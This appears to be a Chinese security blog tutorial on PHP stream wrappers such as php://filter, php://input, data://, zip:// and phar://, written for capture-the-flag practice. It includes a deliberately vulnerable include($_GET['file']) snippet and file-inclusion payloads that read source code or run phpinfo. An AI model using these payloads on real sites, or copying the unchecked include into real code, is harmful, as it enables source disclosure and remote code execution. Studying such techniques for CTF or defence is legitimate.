php伪协议

原创 奋斗的小智 已于 2023-01-27 23:47:17 修改 阅读量4.5k 收藏 29 点赞数 4 版权
分类专栏： 网络安全 文章标签： php 开发语言

目录

一、伪协议介绍

PHP伪协议，也是php支持的协议和封装协议。
常见的有：

1. file:// 访问本地文件系统
2. php:// 访问各个输入/输出流
3. data:// 数据
4. zip:// 压缩流 不过有些伪协议需要allow_url_fopen和allow_url_include的支持。

- allow_url_fopen On/Off 允许或禁止打开URL文件
- allow_url_include On/Off 允许或禁止引用URL文件

协议	测试PHP版本	allow_url_fopen	allow_url_include	用法
file://	>=5.2	off/on	off/on	?file=file://D:/soft/phpStudy/WWW/phpcode.txt
php://filter	>=5.2	off/on	off/on	?file=php://filter/read=convert.base64-encode/resource=./index.php
php://input	>=5.2	off/on	on	?file=php://input 【POST DATA】 <?php phpinfo()?>
zip://	>=5.2	off/on	off/on	?file=zip://D:/soft/phpStudy/WWW/file.zip%23phpcode.txt
compress.bzip2://	>=5.2	off/on	off/on	?file=compress.bzip2://D:/soft/phpStudy/WWW/file.bz2 【or】 ?file=compress.bzip2://./file.bz2
compress.zlib://	>=5.2	off/on	off/on	?file=compress.zlib://D:/soft/phpStudy/WWW/file.gz 【or】 ?file=compress.zlib://./file.gz
data://	>=5.2	on	on	?file=data://text/plain,<?php phpinfo()?> 【or】 ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= 也可以： ?file=data:text/plain,<?php phpinfo()?> 【or】 ?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

1、php://协议

条件：
allow_url_fopen:off/on
allow_url_include :仅php://input php://stdin php://memory php://temp 需要on

作用：

- php:// 访问各个输入/输出流（I/O streams），在CTF中经常使用的是php://filter和php：//input，
- php://filter用于读取源码，php://input用于执行php代码。

说明
PHP 提供了一些杂项输入/输出（IO）流，允许访问 PHP 的 输入输出流、标准输入输出和错误描述符，内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

2、php://filter伪协议

条件
allow_url_fopen=on/off
allow_url_include=on/off
只是读取，需要开启 allow_url_fopen，不需要开启 allow_url_include
说明：
元封装器，设计用于"数据流打开"时的"筛选过滤"应用，对本地磁盘文件进行读写
①输出进行base64加密后的信息

```
?file=php://filter/read=convert.base64-encode/resource=xx.php
```

②获得将base64加密后的信息后，再将其解密，得出原信息

参数	描述
resource=<要过滤的数据流>	必须项。它指定了你要筛选过滤的数据流
read=<读链的过滤器>	可选项。可以设定一个或多个过滤器名称。
write=<写链的过滤器>	可选项。可以设定一个或多个过滤器名称。
<; 两个链的过滤器>	任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

转换过滤器	作用
convert.base64-encode & convert.base64-decode	等同于base64_encode()和base64_decode()，base64编码解码
convert.quoted-printable-encode & convert.quoted-printable-decode	quoted-printable 字符串与 8-bit 字符串编码解码

3.php://input（读取POST数据）

条件
allow_url_fopen=on/off
allow_url_include=on
说明
可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype="multipart/form-data" 的时候 php://input 是无效的

4、file伪协议

file://伪协议用作是展现本地文件系统。 CTF中一般用来读取本地文件或者执行php脚本。 绝对路径和相对路径或者网络路径(http://127.0.0.1/info.php)都可以。不过网络路径就需要allow_url_fopen和allow_url_include都为On。
tips： include()/require()/include_once()/require_once()的参数可控的情况下，如果导入的文件为非.php文件，仍会按照PHP语法进行解析，这是include()函数所决定的。

例：使用file://伪协议去包含本地的phpinfo.php和flag.txt

```php
<?php
$file = $_GET['file'];
include $file;
?>
```

payload：

```
?file=file://E:\phpinfo.php
?file=../flag.txt
?file=http://127.0.0.1/flag.txt
```

5、phar://伪协议(读取压缩包文件内容)

> 条件
> allow_url_fopen: off/on
> allow_url_include: off/on (均不受影响)
> 注：php 版本大于等于5.3.0，压缩包需要是zip协议压缩，rar不行，将木马文件压缩后，改为其他任意格式的文件都可以正常使用。

```
?file=phar://压缩包名/内部文件名
例：phar://x.zip/x.php
```

6、压缩文件伪协议

> zip:// & bzip2:// & zlib:// 协议 zip://、bzip2://、zlib://都属于压缩流，可以访问压缩文件中的子文件，更重要的是不需要指定后缀名，可以修改为任意后缀：jpg、png、gif、xxx等。

6.1.zip://[压缩文件绝对路径]%23压缩文件内的子文件名

> ?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

例：压缩phpinfo.txt为phpinfo.zip，将zip改为xxxx，包含里面的phpinfo.txt

```
<?phpinclude ($_GET['file']);
```

payload：

> ?file=zip://D:\phpstudy_pro\WWW\php-audit\fake_protocol\phpinfo.xxxx%23phpinfo.txt

6.2.compress.bzip2://file.bz2(同样支持任意后缀名)

```
?file=compress.bzip2://E:\phpinfo.xxx
```

6.3.compress.zlib://file.gz(同样支持任意后缀名)

```
?file=compress.zlib://E:\phpinfo.xxx
```

7、data协议

> 需要allow_url_include和allow_url_fopen都为On
> data://伪协议是数据流封装器，传递相应格式的数据。 通常可以用来执行PHP代码。

用法：

```
data://text/plain,
data://text/plain;base64,
```

例：

```
<?php

$file = $_GET['file'];
include $file;
?file=data://text/plain,<?php%20phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
```

8、http://和https://协议

远程包含需要allow_url_fopen和allow_url_include都为On。
允许通过HTTP 1.0的GET方法，以只读的方式访问文件或者资源。 CTF中通常用于远程包含。

```
?file=http:/127.0.0.1/phpinfo.txt
```

PHP伪协议 — qq_37466661的博客 — 6228
PHP伪协议

php伪协议的解释.txt — 02-24
php伪协议

PHP伪协议详解_php 伪协议 — 7-5
ftp:// ftp://伪协议用于访问和操作FTP服务器上的文件。通过ftp://伪协议,我们可以实现与FTP服务器的交互,例如上传、下载、删除文件等。下面是一个示例: $fileContent=file_get_con…

【PHP】伪协议详解:深入理解PHP流封装协议_php封装协议 — 7-19
通过zip://协议,您可以直接访问ZIP压缩文件内的具体文件,无需解压整个压缩包。 2.6data:// data://协议允许您通过数据URI来访问数据,这在嵌入小型数据到代码中非常有用。 3. 如何…

什么是php伪协议，并举例说明 — 02-25
php伪协议 什么是php伪协议，并举例说明 该资源仅供学习！！！

[CTF_网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议) 最新发布 — 2401_84208172的博客 — 1245
[CTF_网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议)，该题考察文件包含漏洞，涉及PHP伪协议data伪协议file伪协议及PHP内置函数等知识…

关于Python、php伪协议等的100道题 — 02-24
php伪协议 关于Python、php伪协议等的100道题

[php知识点]PHP伪协议 — Landasika的博客 — 8198
目录 一、前言1、什么是PHP伪协议2、什么时候用PHP伪协议include和require函数include和include_once的区别(require与require_once的区别)highlight_file()和show_source()readf…

PHP 伪协议 — m0_56107268的博客 — 5628
php伪协议

PHP伪协议详解 — Python老吕的博客 — 1996
PHP伪协议是PHP自己支持的一种协议与封装协议，简单来说就是PHP定义的一种特殊访问资源的方法。有些伪协议成功执行需要allow_url_fopen和allow_url_include的支持。allow…

php伪协议.zipphp伪协议.zip — 02-24
【PHP伪协议】是PHP中一种特殊的机制，它允许开发者通过特定的URL格式来访问和操作服务器上的资源，比如文件系统、数据库等。这个概念在PHP的早期版本中较为常见，但…

php伪协议概述.pdf — 02-24
PHP伪协议是一种特殊的URL协议，用于在PHP中进行文件操作。它允许在URL中指定文件路径，并通过内置的PHP函数来访问和操作文件内容。

php伪协议.pdfphp伪协议.pdfphp伪协议.pdf — 02-24
php伪协议php伪协议.pdfphp伪协议.pdf

php://filter伪协议(总结) — leekos的博客，分享web安全相关知识~ — 7858
php://filter伪协议(总结)

PHP伪协议总结 热门推荐 — 大方子 — 3万+
0x00php://input //所有测试均allow_url_fopen=On,allow_url_include=On!!! php://input是个可以访问请求的原始数据的只读流。POST请求的情况下，最好使用php://input来代替$HTT…

php伪协议常用代码 — 08-05
常用的PHP伪协议代码包括： 1. 使用php://input执行PHP代码：这种方法可以通过将PHP代码作为POST数据传递，然后使用php://input伪协议来执行代码。例如，可以使用以下代…

奋斗的小智
码龄3年 暂无认证
90 原创 | 105万+ 周排名 | 142万+ 总排名 | 8万+ 访问 | 等级
1014 积分 | 47 粉丝 | 45 获赞 | 16 评论 | 237 收藏

私信 关注

搜博主文章

热门文章

分类专栏

最新评论

三层交换技术
流影850: 好人那😍

Windows提权姿势
Gachei: 学到了学到了，大佬能加个微信...

mysql udf提权
熠風: 这篇文章学到了好多，谢谢蔡博

RCE命令执行/代码执行总结
oini19248: 哥哥好棒

JWT利用在ctfhub-easy_login拿到flag
熠風: 博主也太优秀了，看到博主的文章，我深受启发

最新文章

2023年 23篇 2022年 67篇

目录